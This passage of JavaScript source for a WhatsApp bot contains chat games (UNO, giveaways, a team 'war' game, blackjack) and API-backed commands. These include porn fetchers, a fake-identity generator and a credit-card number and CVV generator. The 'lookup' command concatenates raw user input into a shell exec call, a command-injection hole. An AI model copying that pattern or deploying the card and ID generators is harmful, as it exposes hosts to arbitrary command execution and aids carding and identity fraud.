card. The card must match the color or number of the card on the discard pile, or you can use a black card to change the color. + - Special cards: + - \`12\`: The next player draws two cards and is skipped. + - \`14\`: The next player draws four cards and is skipped. + - \`10\`: The next player is skipped. + - \`11\`: The play direction is reversed. + - \`wild13\`: The player chooses a new color. + - \`wild14\`: The next player draws four cards and is skipped. + +4. Skip a turn: + - Use \`uno pass\` if you cannot or do not want to play a card on your turn. + +5. Check your hand: + - Use \`uno hand\` to see the cards in your hand. + +6. Check the card image: + - Use \`uno card \` to check the image of the card in your hand. + +7. End the game: + - The first player to use all their cards wins the game. + +8. Stop the game: + - Use \`uno stop\` to request to stop the game. All players must agree, or an admin/creator can stop the game directly. +`); + + case "stop": + const player = game.players.find(p => p.id === m.sender); + if (!player) { + return reply("You have not joined the game."); + } + + if (isAdmins || isCreator) { + delete games[m.chat]; + writeUnoGameData(games); + return reply("UNO game stopped by admin/creator."); + } + + game.stopVotes.add(m.sender); + if (game.stopVotes.size === game.players.length) { + delete games[m.chat]; + writeUnoGameData(games); + return reply("UNO game stopped with all players' agreement."); + } + + writeUnoGameData(games); + return reply(`Stop request accepted. ${game.players.length - game.stopVotes.size} more players need to agree.`); + + case "hand": + const playerHand = game.players.find(p => p.id === m.sender); + if (!playerHand) { + return reply("You have not joined the game."); + } + const hand = playerHand.hand.map((card, index) => `${index}: ${card.color} ${card.value}`).join("\n"); + const iniHandText = `*Uno Game LorenzoCheems*\n_still under construction_\n\nYour Cards:\n${hand}`; + await David.sendMessage(m.sender, { text: iniHandText }, { quoted: m }); + return reply('Check your cards!'); + + case "card": + const cardIndex = parseInt(subCommand); + if (isNaN(cardIndex) || cardIndex < 0 || cardIndex >= game.players.find(p => p.id === m.sender).hand.length) { + return reply("Invalid card."); + } + const card = game.players.find(p => p.id === m.sender).hand[cardIndex]; + const cardImageUrl = getCardImageUrl(card); + const cardText = `${card.color} ${card.value}`; + await David.sendMessage(m.sender, { image: { url: cardImageUrl }, caption: cardText }, { quoted: m }); + return reply('Card image sent!'); + + case "play": + const currentPlayer = game.players[game.currentPlayer]; + if (currentPlayer.id !== m.sender) { + return reply("It's not your turn!"); + } + + const playCardIndex = parseInt(subCommand); + if (isNaN(playCardIndex) || playCardIndex < 0 || playCardIndex >= currentPlayer.hand.length) { + return reply("Invalid card."); + } + + const playCard = currentPlayer.hand[playCardIndex]; + if (!isValidPlay(game.currentCard, playCard)) { + return reply("The card cannot be played."); + } + + if (playCard.value === "12") { + game.drawStack += 2; + } else if (playCard.value === "wild14") { + if (hasPlayableCard(currentPlayer, game.currentCard)) { + return reply("The Wild Draw Four card can only be played if you have no matching card."); + } + game.drawStack += 4; + game.currentCard.color = "black"; + game.awaitingColorChoice = true; + } else if (playCard.value === "10") { + game.currentPlayer = getNextPlayer(game); + } else if (playCard.value === "11") { + game.direction *= -1; + } + + game.currentCard = playCard; + game.discardPile.push(playCard); + currentPlayer.hand.splice(playCardIndex, 1); + + if (currentPlayer.hand.length === 0) { + delete games[m.chat]; + writeUnoGameData(games); + return reply(`Player ${m.sender} wins!`); + } + + game.currentPlayer = getNextPlayer(game); + game.reverseCardPlayed = false; + writeUnoGameData(games); + return sendGameStatus(m.chat); + + case "pass": + const passPlayer = game.players[game.currentPlayer]; + if (passPlayer.id !== m.sender) { + return reply("It's not your turn!"); + } + game.currentPlayer = getNextPlayer(game); + game.reverseCardPlayed = false; + writeUnoGameData(games); + return sendGameStatus(m.chat); + + case "color": + if (!game.awaitingColorChoice || game.players[game.currentPlayer].id !== m.sender) { + return reply("No color needs to be selected at this time."); + } + + const chosenColor = subCommand.trim().toLowerCase(); + if (!["red", "yellow", "green", "blue"].includes(chosenColor)) { + return reply("Invalid color. Choose one of: red, yellow, green, blue."); + } + + game.currentCard.color = chosenColor; + game.awaitingColorChoice = false; + game.currentPlayer = getNextPlayer(game); + writeUnoGameData(games); + return sendGameStatus(m.chat); + +default: + return reply("Command not recognized. Use `uno info` to view the list of commands."); +} + +function createDeck() { + const colors = ["red", "yellow", "green", "blue"]; + const values = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12"]; + const deck = []; + colors.forEach(color => { + values.forEach(value => { + deck.push({ color, value }); + if (value !== "1") deck.push({ color, value }); + }); + }); + ["wild13", "wild14"].forEach(value => { + deck.push({ color: "black", value }); + deck.push({ color: "black", value }); + }); + return shuffle(deck); +} + +function shuffle(array) { + for (let i = array.length - 1; i > 0; i--) { + const j = Math.floor(Math.random() * (i + 1)); + [array[i], array[j]] = [array[j], array[i]]; + } + return array; +} + +function isValidPlay(currentCard, playCard) { + return playCard.color === "black" || currentCard.color === playCard.color || currentCard.value === playCard.value; +} + +function getNextPlayer(game) { + const nextIndex = (game.currentPlayer + game.direction + game.players.length) % game.players.length; + return nextIndex; +} + +function hasPlayableCard(player, currentCard) { + return player.hand.some(card => isValidPlay(currentCard, card)); +} + +function getCardImageUrl(card) { + const baseUrl = "https://raw.githubusercontent.com/abhisheks008/UNO/main/images/"; + if (card.color === "black") { + return `${baseUrl}${card.value}.png`; + } + return `${baseUrl}${card.color}${card.value}.png`; +} + +async function sendGameStatus(chat) { + const currentCardText = `Current Card: ${game.currentCard.color} ${game.currentCard.value}`; + const currentCardImageUrl = getCardImageUrl(game.currentCard); + const handsText = game.players.map((player, index) => `${index}: ${player.id} (${player.hand.length} cards)`).join("\n"); + const iniGameStatusText = `*Uno Game*\n\n${currentCardText}\nTurn: ${game.players[game.currentPlayer].id}\n\nPlayer Cards:\n${handsText}`; + + await David.sendMessage(chat, { text: iniGameStatusText }); + await David.sendMessage(chat, { image: { url: currentCardImageUrl }, caption: `Current Card: ${game.currentCard.color} ${game.currentCard.value}` }); +} +} +break +case "giveaway": { + const args = text.split(' '); + const subCommand = args[0]; + const subArgs = args.slice(1).join(' '); + + if (subCommand === "start") { + if (!isCreator) { + await David.sendMessage( + m.chat, + { text: mess.OnlyOwner }, + { quoted: m } + ); + } else if (!subArgs) { + await David.sendMessage( + m.chat, + { text: `*☘️ Example :*\n${prefix}giveaway start query` }, + { quoted: m } + ); + } else { + giveawayStatus = true; + giveawayName = subArgs; + giveawayUser = {}; + await David.sendMessage( + m.chat, + { text: `Giveaway "${subArgs}" has started!\nTo join, type:\n${prefix}giveaway join` }, + { quoted: m } + ); + } + } else if (subCommand === "join") { + if (!giveawayStatus) { + await David.sendMessage( + m.chat, + { text: `There are no giveaways currently going on.` }, + { quoted: m } + ); + } else if (giveawayUser[m.sender]) { + await David.sendMessage( + m.chat, + { text: `You are already registered for the giveaway.` }, + { quoted: m } + ); + } else { + giveawayUser[m.sender] = true; + await David.sendMessage( + m.chat, + { text: `You have entered the "${giveawayName}" giveaway!` }, + { quoted: m } + ); + } + } else if (subCommand === "close") { + if (!LorenzoTheCreator) { + await David.sendMessage( + m.chat, + { text: mess.owner }, + { quoted: m } + ); + } else { + giveawayStatus = false; + await David.sendMessage( + m.chat, + { text: `Giveaway "${giveawayName}" has closed!` }, + { quoted: m } + ); + } + } else if (subCommand === "roll") { + if (!LorenzoTheCreator) { + await David.sendMessage( + m.chat, + { text: mess.owner }, + { quoted: m } + ); + } else { + const users = Object.keys(giveawayUser); + if (users.length === 0) { + await David.sendMessage( + m.chat, + { text: `There are no participants in the giveaway.` }, + { quoted: m } + ); + } else { + const initialMessage = await David.sendMessage( + m.chat, + { text: `Choosing a giveaway winner "${giveawayName}"...` }, + { quoted: m } + ); + + const winner = users[Math.floor(Math.random() * users.length)]; + const winnerMention = `@${winner.split('@')[0]}`; + + const displayWinners = []; + for (let i = 0; i < 8; i++) { + displayWinners.push(users[Math.floor(Math.random() * users.length)]); + } + + const editMessageWithDelay = async (text, mentions, delay) => { + return new Promise((resolve) => { + setTimeout(async () => { + await David.sendMessage( + m.chat, + { + text: text, + edit: initialMessage.key, + mentions: mentions + }, + { quoted: m } + ); + resolve(); + }, delay); + }); + }; + + const delays = [100, 200, 300, 400, 500, 650, 800, 1000]; + for (let i = 0; i < displayWinners.length; i++) { + const currentWinner = displayWinners[i]; + await editMessageWithDelay( + `Congratulations! The winner of the "${giveawayName}" giveaway is @${currentWinner.split('@')[0]}`, + [currentWinner], + delays[i] + ); + } + + await editMessageWithDelay( + `Congratulations! The winner of the "${giveawayName}" giveaway is @${winner.split('@')[0]}`, + [winner], + delays[delays.length - 1] + 1000 + ); + + await David.sendMessage( + m.chat, + { + text: `Please confirm the winner to the organizer, otherwise the prize will be forfeited!`, + mentions: [winner] + }, + { quoted: m } + ); + } + } + } else if (subCommand === "delete") { + if (!LorenzoTheCreator) { + await David.sendMessage( + m.chat, + { text: mess.owner }, + { quoted: m } + ); + } else { + giveawayStatus = false; + giveawayName = ''; + giveawayUser = {}; + await David.sendMessage( + m.chat, + { text: `Giveaway has been reset!` }, + { quoted: m } + ); + } + } else if (subCommand === "reroll") { + if (!LorenzoTheCreator) { + await David.sendMessage( + m.chat, + { text: mess.owner }, + { quoted: m } + ); + } else { + const users = Object.keys(giveawayUser); + if (users.length === 0) { + await David.sendMessage( + m.chat, + { text: `There are no participants in the giveaway.` }, + { quoted: m } + ); + } else { + let numToEliminate = Math.max(1, Math.floor(users.length * 0.25)); + + if (users.length <= 5) { + numToEliminate = 1; + } + + const eliminatedUsers = []; + + while (eliminatedUsers.length < numToEliminate) { + const index = Math.floor(Math.random() * users.length); + const user = users[index]; + if (!eliminatedUsers.includes(user)) { + eliminatedUsers.push(user); + delete giveawayUser[user]; + } + } + + const remainingUsers = Object.keys(giveawayUser); + + if (remainingUsers.length <= 1) { + giveawayStatus = false; + const winner = remainingUsers[0]; + await David.sendMessage( + m.chat, + { + text: `Giveaway "${giveawayName}" is over!\nThe winner is @${winner.split('@')[0]}!`, + mentions: [winner] + }, + { quoted: m } + ); + } else { + await David.sendMessage( + m.chat, + { + text: `Eliminated users:\n${eliminatedUsers.map(user => `@${user.split('@')[0]}`).join('\n')}\nRemaining participants: ${remainingUsers.length}`, + }, + { quoted: m } + ); + } + } + } + } else { + await David.sendMessage( + m.chat, + { text: `Unknown command.\nUse one of: start, join, close, roll, delete, reroll.\n*☘️ Example :* ${prefix}giveaway join` }, + { quoted: m } + ); + } +} +break; +case 'genshinimpact': { + let teks; + if (args.length >= 1) { + teks = args.slice(0).join(" "); + } else if (m.quoted && m.quoted.text) { + teks = m.quoted.text; + } else { + throw `Usage:\n/${command} > name <\nExample:\n/${command} keqing`; + } + + m.reply(mess.wait); + +let data = await displayCharacterDetails(teks) +m.reply(data) + +} +break +case 'war': { + David.war = David.war ? David.war : {} + David.war2 = David.war2 ? David.war2 : {} + // fungsi delay + function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); + } + +function getRandom(minn,maxx){ + let min = Math.ceil(minn) + let max = Math.floor(maxx) + return Math.floor(Math.random()*(max-min+1)) + min +} + + // fungsi turn kalau ada yg afk + async function cekAFK(x){ + let turn = x + let time = David.war2[m.chat].time + await sleep(90000) + let turnNow = David.war2[m.chat].turn + let timeNow = David.war2[m.chat].time + // m.reply("Turn : " + turn + "-" + turnNow + "\n\nTime : " + time + "-" + timeNow) + if (turn == turnNow && time == timeNow){ + David.war[m.chat][turn].hp -= 2500 + sendButton(m.chat, `*@${David.war[m.chat][turn].user.split('@')[0]} Usage:\n/${command} > name <\nExample:\n/${command} keqing`) + await sleep(3000) + // cek kalau mati + if (David.war[m.chat][turn].hp <= 0) { + sendButton(m.chat, `*@${David.war[m.chat][turn].user.split('@')[0]} already dead because HP (Health Point) is used up.*`) + // cek tim nya + let playerTotal = 0 + let playerKalah = 0 + if (turn < 5){ + for (let i=0;i<5;i++){ + if (David.war[m.chat][i].user != ""){ + playerTotal += 1 + if (David.war[m.chat][i].hp <= 0) + playerKalah += 1 + } + } + // m.reply(playerTotal + "T-K" + playerKalah) + if (playerTotal > 0 && playerTotal == playerKalah){ + var teamA = [] + var teamB = [] + var teamAB = [] + for (let j=0;j<5;j++){ + if (David.war[m.chat][j].user != ""){ + teamA.push(David.war[m.chat][j].user) + teamAB.push(David.war[m.chat][j].user) + } + } + for (let j=5;j<10;j++){ + if (David.war[m.chat][j].user != ""){ + teamB.push(David.war[m.chat][j].user) + teamAB.push(David.war[m.chat][j].user) + } + } + sendButton(m.chat, `*TEAM B WON BECAUSE TEAM A IS ALL STUPID*`) + delete David.war[m.chat] + delete David.war2[m.chat] + } + }else { + for (let i=5;i<10;i++){ + if (David.war[m.chat][i].user != ""){ + playerTotal += 1 + if (David.war[m.chat][i].hp <= 0) + playerKalah += 1 + } + } + m.reply(playerTotal + "T-K" + playerKalah) + if (playerTotal == playerKalah){ + var teamA = [] + var teamB = [] + var teamAB = [] + for (let j=0;j<5;j++){ + if (David.war[m.chat][j].user != ""){ + teamA.push(David.war[m.chat][j].user) + teamAB.push(David.war[m.chat][j].user) + } + } + for (let j=5;j<10;j++){ + if (David.war[m.chat][j].user != ""){ + teamB.push(David.war[m.chat][j].user) + teamAB.push(David.war[m.chat][j].user) + } + } + sendButton(m.chat, `*TEAM A WON BECAUSE TEAM B IS ALL STUPID*`) + delete David.war[m.chat] + delete David.war2[m.chat] + } + } + } + let pergantian = false + if (turn < 5){ + for (let i=5;i<10;i++){ + if (David.war[m.chat][i].hp > 0 && David.war[m.chat][i].user != "" && David.war[m.chat][i].turn == false){ + David.war2[m.chat].turn = i + David.war2[m.chat].time = +1 + pergantian = true + } + } + }else { + for (let i=0;i<5;i++){ + if (David.war[m.chat][i].hp > 0 && David.war[m.chat][i].user != "" && David.war[m.chat][i].turn == false){ + David.war2[m.chat].turn = i + David.war2[m.chat].time = +1 + pergantian = true + } + } + } + if (pergantian == false){ + for (let l=9;l>=0;l--){ + if (David.war[m.chat][l].user != "" && David.war[m.chat][l].hp > 0) { + David.war2[m.chat].turn = l + David.war2[m.chat].time = +1 + } + David.war[m.chat][l].turn == false + } + } + await sleep(3000) + sendButton(m.chat, `*@${David.war[m.chat][David.war2[m.chat].turn].user.split('@')[0]}'s turn to attack (Time 90 seconds)*\n\n.war player = player statistics\n.attack @tag = attack opponent`) + cekAFK(David.war2[m.chat].turn) + } + } + + if (!(m.chat in David.war)) return m.reply(`*There are no games in this group.*`) + if (!David.war2[m.chat].war) return m.reply(`*War has not started yet, when ".war start" to start the fight.*`) + for (let i=0;i<10;i++){ + if (m.sender == David.war[m.chat][i].user){ + if (i != David.war2[m.chat].turn) { + sendButton(m.chat, `*Now it's @${David.war[m.chat][David.war2[m.chat].turn].user.split('@')[0]}'s turn to attack.*`) + cekAFK(David.war2[m.chat].turn) + } + } + } + if (!args[0]) return m.reply(`*Tag the enemy to be attacked*\n*Type .war player*`) + args[0] = args[0].split('@')[1] + args[0] += "@s.whatsapp.net" + let success = false + + if (David.war2[m.chat].turn < 5){ + // return m.reply(args[0]) + for (let i=5;i<10;i++){ + if (David.war[m.chat][i].user == args[0] && David.war[m.chat][i].hp > 0){ + let attacker = m.sender + let target = args[0] + + let opportunity = [] + for (let i=0;i 0){ + let attacker = m.sender + let target = args[0] + + let opportunity = [] + for (let i=0;i 0 && David.war[m.chat][k].user != "" && David.war[m.chat][k].turn == false) { + David.war2[m.chat].turn = k + David.war2[m.chat].time = +1 + turn2 = David.war2[m.chat].turn + } + } + if (turn1 == turn2){ + for (i=0;i<10;i++){ + David.war[m.chat][i].turn = false + } + for(i=0;i<5;i++){ + if (David.war[m.chat][i].hp > 0 && David.war[m.chat][i].user != "" && David.war[m.chat][i].turn == false) { + David.war2[m.chat].turn = i + David.war2[m.chat].time = +1 + } + } + } + await sleep(2000) + sendButton(m.chat, `*@${David.war[m.chat][David.war2[m.chat].turn].user.split('@')[0]}'s turn to attack (Time 90 seconds)*\n\n.war player = player statistics\n.attack @tag = attack opponent`) + cekAFK(David.war2[m.chat].turn) + }else { + let userAktif = 0 + let userMati = 0 + for (let i=0;i<5;i++){ + if (David.war[m.chat][i].user != ""){ + userAktif += 1 + if (David.war[m.chat][i].hp <= 0){ + userMati += 1 + } + } + } + if(userAktif == userMati){ + var teamA = [] + var teamB = [] + var teamAB = [] + for (let j=0;j<5;j++){ + if (David.war[m.chat][j].user != ""){ + teamA.push(David.war[m.chat][j].user) + teamAB.push(David.war[m.chat][j].user) + } + } + for (let j=5;j<10;j++){ + if (David.war[m.chat][j].user != ""){ + teamB.push(David.war[m.chat][j].user) + teamAB.push(David.war[m.chat][j].user) + } + } + sendButton(m.chat, `*TEAM B WON BECAUSE TEAM A IS ALL STUPID*`) + delete David.war[m.chat] + delete David.war2[m.chat] + } + let turn1 = David.war2[m.chat].turn + let turn2 = David.war2[m.chat].turn + for (let k=0;k<5;k++){ + if (David.war[m.chat][k].hp > 0 && David.war[m.chat][k].user != "" && David.war[m.chat][k].turn == false) { + David.war2[m.chat].turn = k + David.war2[m.chat].time = +1 + turn2 = David.war2[m.chat].turn + } + } + if (turn1 == turn2){ + for (let i=0;i<10;i++){ + David.war[m.chat][i].turn = false + } + for(let i=0;i<5;i++){ + if (David.war[m.chat][i].hp > 0 && David.war[m.chat][i].user != "" && David.war[m.chat][i].turn == false) { + David.war2[m.chat].turn = i + David.war2[m.chat].time = +1 + } + } + } + await sleep(2000) + sendButton(m.chat, `*Giliran @${David.war[m.chat][David.war2[m.chat].turn].user.split('@')[0]} untuk menyerang (Waktu 90 detik)*\n\n.war player = statistik pemain\n.attack @tag = serang lawan`) + cekAFK(David.war2[m.chat].turn) + } + + let totalUser = 0 + let totalTurn = 0 + for (let i=0;i<10;i++){ + if (David.war[m.chat][i].user != "") totalUser += 1 + if (David.war[m.chat][i].turn == true) totalTurn += 1 + } + if (totalTurn == totalUser) { + for (i=0;i<10;i++){ + David.war[m.chat][i].turn = false + } + } + +} +break + + +case 'bin': case 'cc': case 'vcc': { + let count = args[0] ? parseInt(args[0]) : 5; + if (isNaN(count) || count <= 0) count = 5; + + // React to indicate processing + await David.sendMessage(m.chat, { react: { text: "⏳", key: m.key } }); + + try { + let apiUrl = `https://api.siputzx.my.id/api/tools/vcc-generator?type=MasterCard&count=${count}`; + let response = await fetch(apiUrl); + let data = await response.json(); + + if (!data.status || !data.data.length) { + return reply(`*ERROR!!*\n\n> Unable to generate VCC at the moment.`); + } + + let cards = data.data.map((card, index) => + `*💳 Card ${index + 1}:*\n` + + `▪️ **Card Number:** ${card.cardNumber}\n` + + `▪️ **Expiration Date:** ${card.expirationDate}\n` + + `▪️ **Cardholder:** ${card.cardholderName}\n` + + `▪️ **CVV:** ${card.cvv}` + ).join("\n\n"); + + let imageOptions = { + image: { url: 'https://files.catbox.moe/kuvjof.jpg' }, + caption: `${cards}` + }; + + await David.sendMessage(from, imageOptions, { quoted: m }); + + + + + } catch (error) { + console.error("VCC Generator Error:", error); + reply(`*AN ERROR OCCURRED!!*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m.chat, { react: { text: "✅", key: m.key } }); + break; +} + +case 'fakeid': { + let count = args[0] ? parseInt(args[0]) : 5; + if (isNaN(count) || count <= 0) count = 5; + + // React to indicate processing + await David.sendMessage(m.chat, { react: { text: "⏳", key: m.key } }); + + try { + let apiUrl = `https://api.siputzx.my.id/api/tools/fake-data?type=person&count=${count}`; + let response = await fetch(apiUrl); + let data = await response.json(); + + if (!data.status || !data.data.length) { + return reply(`*ERROR!!*\n\n> Unable to generate fake IDs at the moment.`); + } + + for (let person of data.data) { + let caption = `*🔹 FAKE IDENTITY 🔹*\n\n` + + `▪️ **Name:** ${person.name}\n` + + `▪️ **Email:** ${person.email}\n` + + `▪️ **Phone:** ${person.phone}\n` + + `▪️ **Birth Date:** ${person.birthDate.split("T")[0]}\n` + + `▪️ **Gender:** ${person.gender}\n\n` + + `> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`; + + await David.sendMessage(m.chat, { + image: { url: person.avatar }, + caption: caption + }, { quoted: m }); + + // Small delay to prevent spam blocking + await new Promise(resolve => setTimeout(resolve, 2000)); + } + + } catch (error) { + console.error("Fake ID Generator Error:", error); + reply(`*AN ERROR OCCURRED!!*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m.chat, { react: { text: "✅", key: m.key } }); + break; +} + +case 'rizz': { + try { + const apiKey = 'gifted-md'; // API key + const apiUrl = `https://api.giftedtech.my.id/api/fun/flirt?apikey=${apiKey}`; + + // Fetch a flirty line + const response = await axios.get(apiUrl); + + if (response.data.status === 200 && response.data.success) { + const flirtyLine = response.data.result; + + // Send the flirty line + reply(`${flirtyLine}`); + } else { + // Handle unsuccessful response + reply('Please try again later.'); + } + } catch (error) { + // Handle specific errors without exposing logs + if (error.response) { + reply(`API Error: ${error.response.data.message || 'Unknown API error.'}`); + } else if (error.request) { + reply('No response received from the API. Please try again later.'); + } else { + reply(`An error occurred: ${error.message}`); + } + } + break; +} + + case 'hentai': { + try { + // Fetch data from the hentai API + let apiUrl = `https://api.agatz.xyz/api/hentaivid`; + let response = await fetch(apiUrl); + let result = await response.json(); + + if (result.status === 200 && result.data.length > 0) { + // Pick a random video from the list + let randomVideo = result.data[Math.floor(Math.random() * result.data.length)]; + let videoUrl = randomVideo.video_1 || randomVideo.link; + let title = randomVideo.title; + let body = `*Title:* ${title}\n*Category:* ${randomVideo.category}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ™`; + + // Send the video file directly + David.sendMessage(m.chat, { video: { url: videoUrl }, caption: body }, { quoted: m }); + } else { + reply('No hentai videos found.'); + } + } catch (error) { + reply('Error fetching hentai videos. Please try again later.'); + } +} +break; + +case 'lockotp': case 'otplock': { +await David.sendMessage(m?.chat, {react: {text: `⏳`,key: m?.key,}}) +await David.sendMessage(m?.chat, {text: '`This Command Is for Premuim Users Only`\n\n> Type *.premuim* To Become A Premium User',key: m?.key,}) +await David.sendMessage(m?.chat, {react: {text: `❌`,key: m?.key,}}) +} +break; + +case 'antibug': case 'antivirtex': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premuim Users Only\nType .buypremuim To Become A Premium User*.'); +} +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.antibug = true +await reply('SucessFully Activated Anti Bug Protection.') +} else if (args[0] === 'off') { +global.antibug = false +await reply('SucessFully Deactivated Anti Bug Protection.') +}} +break + + +case 'xvideosearch': case 'xxxsearch': { + if (!text) return reply(`Please provide a search query. Example: ${prefix + command} sister`); + + try { + // Call the search API with the search keyword + let apiUrl = `https://api.agatz.xyz/api/xvideo?message=${encodeURIComponent(text)}`; + let response = await fetch(apiUrl); + let result = await response.json(); + + if (result.status === 200) { + // Prepare the search result + let videoInfo = result.data[0]; // Assuming the first result is desired + let body = `*XVideo Search Result:* +> Title: *${videoInfo.title}* +> Views: *${videoInfo.views}* +> Duration: *${videoInfo.duration}* +> URL: *${videoInfo.url}*`; + + David.sendMessage(m.chat, { image: { url: videoInfo.thumb }, caption: body }, { quoted: m }); + + // Store the video URL for later David + global.db.data.users[m.sender].lastXVideoUrl = videoInfo.url; + } else { + reply('Failed to fetch search results.'); + } + } catch (error) { + reply('Error fetching search results. Please try again.'); + } +} +break; + + + case 'technews': { + // No need to check for args, since it's fetching random news + await David.sendMessage(m?.chat, { react: { text: `⏳`, key: m?.key, } }); + reply('`Fetching the latest tech news...`'); + + // Fetch tech news from the API + let technewsData = await fetchJson(`https://bk9.fun/details/tnews`); + + if (technewsData.status) { + let title = `${technewsData.BK9.title}`; + let description = `${technewsData.BK9.desc}`; + let link = `${technewsData.BK9.link}`; + + + const newsMessage = `*Title:* ${title}\n*Description:* ${description}\n\n[Read more](${link})`; + + // Send the tech news with an image + await David.sendMessage(m.chat, { + image: { url: imageURL }, + caption: newsMessage + }, { quoted: m }); + } else { + reply("Sorry, couldn't fetch the tech news at this time."); + } +} +break; + + +case 'xvideodownlad': case 'xxxdownload': { + let url = global.db.data.users[m.sender].lastXVideoUrl || text; + if (!url) return reply('No video URL found. Please search for a video using *xvidsearch* or provide a valid URL.'); + + try { + // Call the download API with the video URL + let apiUrl = `https://api.agatz.xyz/api/xvideodown?url=${encodeURIComponent(url)}`; + let response = await fetch(apiUrl); + let result = await response.json(); + + if (result.status === 200) { + let videoUrl = result.data.url; + let body = `*ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ™*`; + + // Send the video file directly + David.sendMessage(m.chat, { video: { url: videoUrl }, caption: body }, { quoted: m }); + } else { + reply('Failed to fetch the video.'); + } + } catch (error) { + reply('Error fetching the video. Please try again.'); + } +} +break; + +case 'disk': { + let cp = require ('child_process') +let { promisify } = require ('util') +let exec = promisify(cp.exec).bind(cp) + + await m.reply(`Please Wait`) + let o + try { + o = await exec('cd && du -h --max-depth=1') + } catch (e) { + o = e + } finally { + let { stdout, stderr } = o + if (stdout.trim()) + m.reply(stdout) + if (stderr.trim()) m.reply(stderr) + } +} +break + +case 'lookup': { + if (!text) return m.reply("Example: .lookup https://www.example.com") + let cp = require ('child_process') +let { promisify } = require ('util') +let exec = promisify(cp.exec).bind(cp) + + await m.reply(`Please Wait`) + let o + try { + o = await exec('nslookup ' + text) + } catch (e) { + o = e + } finally { + let { stdout, stderr } = o + if (stdout.trim()) + m.reply(stdout) + if (stderr.trim()) m.reply(stderr) + } +} +break +case 'server': { + let cp = require ('child_process') +let { promisify } = require ('util') +let exec = promisify(cp.exec).bind(cp) + + await m.reply(`Please Wait`) + let o + try { + o = await exec('df -h') + } catch (e) { + o = e + } finally { + let { stdout, stderr } = o + if (stdout.trim()) + m.reply(stdout) + if (stderr.trim()) m.reply(stderr) + } +} +break +case 'afk': { +let user = global.db.data.users[m.sender] +user.afkTime = + new Date +user.afkReason = text +m.reply(`${pushname}... Telah Afk Dengan Alasan ${text ? ': ' + text : ''}`) +} +break +case 'blackjack': { + class Blackjack { + decks; + state = "waiting"; + player = []; + dealer = []; + table = { + player: { + total: 0, + cards: [], + }, + dealer: { + total: 0, + cards: [], + }, + bet: 0, + payout: 0, + doubleDowned: false, + }; + cards; + endHandlers = []; + constructor(decks) { + this.decks = validateDeck(decks); + } + placeBet(bet) { + if (bet <= 0) { + throw new Error("You must place a bet greater than 0"); + } + this.table.bet = bet; + } + start() { + if (this.table.bet <= 0) { + throw new Error("You must place a bet before starting the game"); + } + this.cards = new Deck(this.decks); + this.cards.shuffleDeck(2); + this.player = this.cards.dealCard(2); + let dealerFirstCard; + do { + dealerFirstCard = this.cards.dealCard(1)[0]; + } while (dealerFirstCard.value > 11); + this.dealer = [dealerFirstCard, ...this.cards.dealCard(1)]; + this.updateTable(); + return this.table; + } + hit() { + if (this.state === "waiting") { + const newCard = this.cards.dealCard(1)[0]; + this.player.push(newCard); + this.updateTable(); + const playerSum = sumCards(this.player); + const dealerSum = sumCards(this.dealer); + if (playerSum === dealerSum) { + this.state = "draw"; + this.emitEndEvent(); + } + else if (playerSum === 21) { + this.state = "player_blackjack"; + this.emitEndEvent(); + } + else if (playerSum > 21) { + this.state = "dealer_win"; + this.emitEndEvent(); + } + return this.table; + } + } + stand() { + let dealerSum = sumCards(this.dealer); + let playerSum = sumCards(this.player); + if (playerSum <= 21) { + while (dealerSum < 17) { + this.dealer.push(...this.cards.dealCard(1)); + dealerSum = sumCards(this.dealer); + this.updateTable(); + } + } + if (playerSum <= 21 && (dealerSum > 21 || dealerSum < playerSum)) { + if (playerSum === 21) { + this.state = "player_blackjack"; + } + else { + this.state = "player_win"; + } + } + else if (dealerSum === playerSum) { + this.state = "draw"; + } + else { + this.state = dealerSum === 21 ? "dealer_blackjack" : "dealer_win"; + } + this.emitEndEvent(); + } + doubleDown() { + if (this.canDoubleDown()) { + this.table.doubleDowned = true; + this.player.push(...this.cards.dealCard(1)); + this.updateTable(); + this.stand(); + } + else { + throw new Error("You can only double down on the first turn"); + } + } + calculatePayout() { + if (this.state === "player_blackjack") { + this.table.payout = this.table.bet * 1.5; + } + else if (this.state === "player_win") { + this.table.payout = this.table.bet; + } + else if (this.state === "dealer_win" || + this.state === "dealer_blackjack") { + this.table.payout = 0; + } + else if (this.state === "draw") { + this.table.payout = this.table.bet; + } + if (this.table.doubleDowned && this.state !== "draw") { + this.table.payout *= 2; + } + this.table.payout = Math.round(this.table.payout); + } + canDoubleDown() { + return this.state === "waiting" && this.player.length === 2; + } + onEnd(handler) { + this.endHandlers.push(handler); + } + emitEndEvent() { + this.calculatePayout(); + for (let handler of this.endHandlers) { + handler({ + state: this.state, + player: formatCards(this.player), + dealer: formatCards(this.dealer), + bet: this.table.bet, + payout: this.table.payout, + }); + } + } + updateTable() { + this.table.player = formatCards(this.player); + this.table.dealer = formatCards(this.dealer); + } +} + +class Deck { + deck = []; + dealtCards = []; + constructor(decks) { + for (let i = 0; i < decks; i++) { + this.createDeck(); + } + } + createDeck() { + const card = (suit, value) => { + let name = value + " of " + suit; + if (value.toUpperCase().includes("J") || + value.toUpperCase().includes("Q") || + value.toUpperCase().includes("K")) + value = "10"; + if (value.toUpperCase().includes("A")) + value = "11"; + return { name, suit, value: +value }; + }; + const values = [ + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "J", + "Q", + "K", + "A", + ]; + const suits = ["♣️", "♦️", "♠️", "♥️"]; + for (let s = 0; s < suits.length; s++) { + for (let v = 0; v < values.length; v++) { + this.deck.push(card(suits[s], values[v])); + } + } + } + shuffleDeck(amount = 1) { + for (let i = 0; i < amount; i++) { + for (let c = this.deck.length - 1; c >= 0; c--) { + const tempVal = this.deck[c]; + let randomIndex = Math.floor(Math.random() * this.deck.length); + while (randomIndex === c) { + randomIndex = 